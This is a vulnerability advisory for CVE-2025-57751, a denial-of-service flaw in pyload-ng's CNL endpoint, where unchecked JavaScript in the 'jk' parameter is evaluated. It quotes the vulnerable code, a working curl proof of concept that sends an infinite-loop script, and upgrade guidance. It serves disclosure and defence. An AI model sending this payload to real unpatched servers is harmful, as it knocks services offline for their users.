---
id: CVE-2025-57751
aliases:
  - GHSA-9gjj-6gj7-c4wj
  - PYSEC-2026-1815
title: Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
summary: Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
severity: high
vendor: pyload-ng
product: pyload-ng
ecosystem: pip
affected:
  - pyload-ng < 0.5.0b3.dev92
patched:
  - pyload-ng 0.5.0b3.dev92
published: '2025-08-21'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9gjj-6gj7-c4wj'
references:
  - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-57751'
  - url: 'https://github.com/pyload/pyload'
tags:
  - osv
  - pip
epss: 0.00325
epssPercentile: 0.25811
ingestedAt: '2026-07-08T18:25:47.864Z'
---

## Overview

Dear Maintainers,
I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

### Summary
The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

### Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123
https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42	

affected code
```python
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

```

```python
def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)
```

### PoC
download pyload and run locally, send the following request
- PoC
```shell
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
```
The 30_000 can be modified to any large value.


### Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage
```shell
top -pid $(pgrep -f "pyload.__main__") 
```
or
```shell
top -pid $(pgrep -f "pyload") 
```

The CPU is fully occupied
<img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive
<img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

## Affected packages

- `pyload-ng < 0.5.0b3.dev92`

## Remediation

Upgrade to a patched release:

- `pyload-ng 0.5.0b3.dev92`